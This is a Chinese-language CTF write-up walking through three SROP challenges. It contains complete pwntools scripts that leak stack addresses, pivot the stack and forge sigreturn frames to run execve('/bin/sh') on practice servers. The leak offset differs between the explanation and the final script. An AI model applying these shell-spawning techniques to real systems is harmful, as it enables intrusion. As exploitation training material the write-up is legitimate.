本文详细记录了有关SROP漏洞的三道例题的复现过程
ciscn_2019_es_7思路 系统调用了sys_read和sys_write,并且可以溢出0x400-0x10个字节
我们看到mov rax,0fh;retn的gadget,0fh是sigreturn函数的调用号,可以用SROP。
程序中没有/bin/sh,我们可以在sys_read(0,buf,0x400ull)这一过程中先把/bin/sh写到buf中,然后sys_write(1u,buf,0x30ull)这一过程会把buf及后面的内容共0x30个字节打印出来,这样我们就可以泄漏一个栈地址,然后计算其与/bin/sh的地址的偏移,表示出/bin/sh的地址。
vuln_addr = 0x4004ed payload = b'/bin/sh\x00' .ljust(16 ,b'\x00' )+p64(vuln_addr) p.sendline(payload) p.recv(0x20 ) one_addr = u64(p.recv(8 )) print ('one_addr -->' ,hex (one_addr))binsh_addr = one_addr-0x148 print ('binsh_addr -->' ,hex (binsh_addr))
得到/bin/sh的地址后,构造一个execve的signal frame,如下:
syscall_addr = 0x400517 frame = SigreturnFrame() frame.rax = constants.SYS_execve frame.rdi = binsh_addr frame.rsi = 0 frame.rdx = 0 frame.rip = syscall_addr
首先我们要知道,rip是一个指令指针的寄存器,也就是说rip寄存器中存放的是要执行的下一条指令的地址。而frame.rip中存放的是 当sigreturn系统调用返回后要执行的下一条指令的地址。这里的frame.rip = syscall_leave_ret就表示我们将要执行syscall指令,又因为我们已经设置了execve的signal frame,所以我们就控制了程序的执行流执行execve系统调用。
构造第二个payload如下:
mov_rax_0fh = 0x4004da payload = payload = b'/bin/sh\x00' .ljust(16 ,b'\x00' ) payload += p64(mov_rax_0fh)+p64(syscall_addr) payload += bytes (frame) p.sendline(payload)
一开始我把payload = payload = b'/bin/sh\x00'.ljust(16,b'\x00')写成payload = b'a'*16打不通。调试的时候发现,vuln函数是又被循环了一次,这个payload是会往buf中写覆盖原来的内容,也就是说我们上面泄漏的地址binsh_addr,中的内容会变成这次发送的前8个字节。所以我们构造的payload的前8个字节必须是/bin/sh\x00。
expfrom pwn import *p = remote('node5.buuoj.cn' ,26868 ) context.arch ='amd64' vuln_addr = 0x4004ed payload = b'/bin/sh\x00' .ljust(16 ,b'\x00' )+p64(vuln_addr) p.sendline(payload) p.recv(0x20 ) one_addr = u64(p.recv(8 )) print ('one_addr -->' ,hex (one_addr))binsh_addr = one_addr-0x118 print ('binsh_addr -->' ,hex (binsh_addr))syscall_addr = 0x400517 frame = SigreturnFrame() frame.rax = constants.SYS_execve frame.rdi = binsh_addr frame.rsi = 0 frame.rdx = 0 frame.rip = syscall_addr mov_rax_0fh = 0x4004da payload = payload = b'/bin/sh\x00' .ljust(16 ,b'\x00' ) payload += p64(mov_rax_0fh)+p64(syscall_addr) payload += bytes (frame) p.sendline(payload) p.interactive()
拿到flag
rootersctf_2019_srop思路 我们分析代码,发现连main函数都没有,整个程序就是先call 0x401000,然后exit退出。
跳到地址为0x401000这里,分析汇编代码,2个系统调用,write(1,buf,0x2a),read(0,rsp-0x40,0x400)。
程序中没有/bin/sh,所以我们要先往一个地址中写入/bin/sh。如果我们直接写入/bin/sh再srop,我们不能知道/bin/sh的地址,所以可以先栈迁移到data段,data段的地址已知且不变,这样我们就拿到/bin/sh的地址了,设置read的一些寄存器值,如下:
buf_addr = 0x402000 syscall_leave_ret = 0x401033 frame = SigreturnFrame() frame.rax = 0 frame.rdi = 0 frame.rsi = buf_addr frame.rdx = 0x400 frame.rip = syscall_leave_ret frame.rbp = buf_addr+0x20
不过这里frame.rbp = buf_addr+0x20的作用是什么?)
然后我们可以构造第一个payload如下:
pop_rax_syscall_leave_ret = 0x401032 payload = b'a' *0x88 +p64(pop_rax_syscall_leave_ret)+p64(0xf )+bytes (frame) p.sendlineafter(b"Hey, can i get some feedback for the CTF?\n" , payload)
上面构造的signal frame再次syscall了一个read系统调用,下面我们就可以往buf_addr = 0x402000里写入/bin/sh,并再次构造一个signal frame系统调用execve。
frame = SigreturnFrame() frame.rax = 0x3b frame.rdi = buf_addr frame.rsi = 0 frame.rdx = 0 frame.rip = syscall_leave_ret payload = b'/bin/sh\x00' +b'a' *0x20 +p64(pop_rax_syscall_leave_ret)+p64(0xf )+bytes (frame) p.sendline(payload)
expfrom pwn import *p = remote("node5.buuoj.cn" ,26592 ) context.arch='amd64' buf_addr = 0x402000 syscall_leave_ret = 0x401033 frame = SigreturnFrame() frame.rax = 0 frame.rdi = 0 frame.rsi = buf_addr frame.rdx = 0x400 frame.rip = syscall_leave_ret frame.rbp = buf_addr+0x20 pop_rax_syscall_leave_ret = 0x401032 payload = b'a' *0x88 +p64(pop_rax_syscall_leave_ret)+p64(0xf )+bytes (frame) p.sendlineafter(b"Hey, can i get some feedback for the CTF?\n" , payload) frame = SigreturnFrame() frame.rax = 0x3b frame.rdi = buf_addr frame.rsi = 0 frame.rdx = 0 frame.rip = syscall_leave_ret payload = b'/bin/sh\x00' +b'a' *0x20 +p64(pop_rax_syscall_leave_ret)+p64(0xf )+bytes (frame) p.sendline(payload) p.interactive()
拿到flag
360chunqiu2017_smallest思路 我们每次控制寄存器的时候,都把rsp写成下一个片段的rt_sigreturn的地址,并且rip的地址要指向syscall;ret 一定要后面有ret,不然所有的片段连不起来,到ret的时候,就会去执行rsp执行的地址,因此我们就可以一直劫持程序的控制流。
程序很简单,只有下面一个函数,分析一下代码就是一个read系统调用,可以栈溢出并且能够溢出的字节数很长。
signed __int64 start () { void *retaddr; return sys_read(0 , (char *)&retaddr, 0x400u LL); }
这道题既然是用srop,那么必然是需要能够调用sigreturn,也就是需要把rax寄存器的值设置为0xf。我们发现并没有能够实现这个的相关的gadget,但是我们突然想到read返回值就是存储在rax寄存器中的,我们可以利用这个来设置rax寄存器的值。
syscall_ret_addr = 0x4000be start_addr = 0x4000b0 payload = p64(start_addr)*3 p.send(payload) wait = input () p.send(b'\xB3' ) wait = input () leak_addr = u64(p.recv()[8 :16 ]) target_addr = leak_addr-0x2000
exp如下:
from pwn import *context.arch='amd64' p = remote("node5.buuoj.cn" ,29210 ) syscall_ret_addr = 0x4000be start_addr = 0x4000b0 payload = p64(start_addr)*3 p.send(payload) wait = input () p.send(b'\xB3' ) wait = input () leak_addr = u64(p.recv()[8 :16 ]) target_addr = leak_addr-0x2000 frame = SigreturnFrame() frame.rax = 0 frame.rdi = 0 frame.rsi = target_addr frame.rdx = 0x400 frame.rip = syscall_ret_addr frame.rsp = target_addr payload = p64(start_addr)+b'aaaaaaaa' +bytes (frame) p.send(payload) wait = input () payload = p64(syscall_ret_addr)+b'bbbbbbb' p.send(payload) wait = input () binsh_addr = target_addr+0x110 frame = SigreturnFrame() frame.rax = 0x3b frame.rdi = binsh_addr frame.rsi = 0 frame.rdx = 0 frame.rip = syscall_ret_addr payload = p64(start_addr)+b'aaaaaaaa' +bytes (frame).ljust(0x100 ,b'\x00' )+b'/bin/sh' p.send(payload) wait = input () payload = p64(syscall_ret_addr)+b'bbbbbbb' p.send(payload) wait = input () p.interactive()
拿到flag